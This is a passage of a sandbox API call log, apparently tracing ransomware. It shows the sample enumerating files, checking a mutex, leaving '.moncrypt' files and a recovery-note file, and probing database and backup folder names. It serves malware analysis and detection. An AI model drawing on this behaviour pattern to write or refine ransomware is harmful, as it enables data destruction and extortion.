lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.365] GlobalUnlock (hMem=0x44000c) returned 0 [0052.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.365] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.365] GlobalUnlock (hMem=0x44000c) returned 0 [0052.365] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.365] GlobalUnlock (hMem=0x440004) returned 0 [0052.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.365] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4061bc40, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4061bc40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4061bc40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.365] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.365] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.365] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.365] GlobalUnlock (hMem=0x440004) returned 0 [0052.365] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.365] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.366] GlobalUnlock (hMem=0x440004) returned 0 [0052.366] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.366] GlobalUnlock (hMem=0x44000c) returned 0 [0052.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.366] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM.moncrypt", cAlternateFileName="LEVELE~1.MON")) returned 1 [0052.366] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.366] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.366] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.366] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.366] GlobalUnlock (hMem=0x44000c) returned 0 [0052.366] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.366] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.366] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.366] GlobalUnlock (hMem=0x44000c) returned 0 [0052.366] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.366] GlobalUnlock (hMem=0x440004) returned 0 [0052.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.366] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0052.366] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.366] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.367] GlobalUnlock (hMem=0x440004) returned 0 [0052.367] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.367] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.367] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.367] GlobalUnlock (hMem=0x440004) returned 0 [0052.367] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.367] GlobalUnlock (hMem=0x44000c) returned 0 [0052.367] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.367] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.367] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.367] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.367] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.367] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.367] GlobalUnlock (hMem=0x44000c) returned 0 [0052.367] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.367] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.367] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.367] GlobalUnlock (hMem=0x44000c) returned 0 [0052.367] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.367] GlobalUnlock (hMem=0x440004) returned 0 [0052.367] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.367] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbcb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.367] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.368] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.368] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.368] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.368] GlobalUnlock (hMem=0x440004) returned 0 [0052.368] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.368] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.368] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.368] GlobalUnlock (hMem=0x440004) returned 0 [0052.368] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.368] GlobalUnlock (hMem=0x44000c) returned 0 [0052.368] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.368] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbcb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.368] GetLastError () returned 0x12 [0052.368] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.369] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0052.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.369] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.369] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.369] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.369] GlobalUnlock (hMem=0x44000c) returned 0 [0052.369] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.369] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.369] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.369] GlobalUnlock (hMem=0x44000c) returned 0 [0052.369] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.369] GlobalUnlock (hMem=0x440004) returned 0 [0052.369] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.369] GlobalLock (hMem=0x440004) returned 0x550170 [0052.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.369] GlobalUnlock (hMem=0x440004) returned 0 [0052.370] GlobalLock (hMem=0x440004) returned 0x550170 [0052.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.370] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.370] GlobalUnlock (hMem=0x440004) returned 0 [0052.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.370] GlobalUnlock (hMem=0x44000c) returned 0 [0052.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.370] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK") returned 1 [0052.370] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.370] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.370] GlobalUnlock (hMem=0x44000c) returned 0 [0052.370] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.370] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.370] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.370] GlobalUnlock (hMem=0x44000c) returned 0 [0052.370] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.370] GlobalUnlock (hMem=0x440004) returned 0 [0052.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@净R冔R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.371] GetLastError () returned 0x3 [0052.371] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0052.377] GetLastError () returned 0x2 [0052.377] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0052.377] GetLastError () returned 0x2 [0052.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0052.378] GetLastError () returned 0x2 [0052.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18뭼R\x18j")) returned 0xffffffff [0052.379] GetLastError () returned 0x2 [0052.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0052.379] GetLastError () returned 0x2 [0052.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0052.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0052.380] GetLastError () returned 0x2 [0052.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0052.380] GetLastError () returned 0x2 [0052.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0052.381] GetLastError () returned 0x2 [0052.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a318, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.381] GetLastError () returned 0x2 [0052.381] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\network\\") returned 0x40 [0052.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a2d8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.381] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, 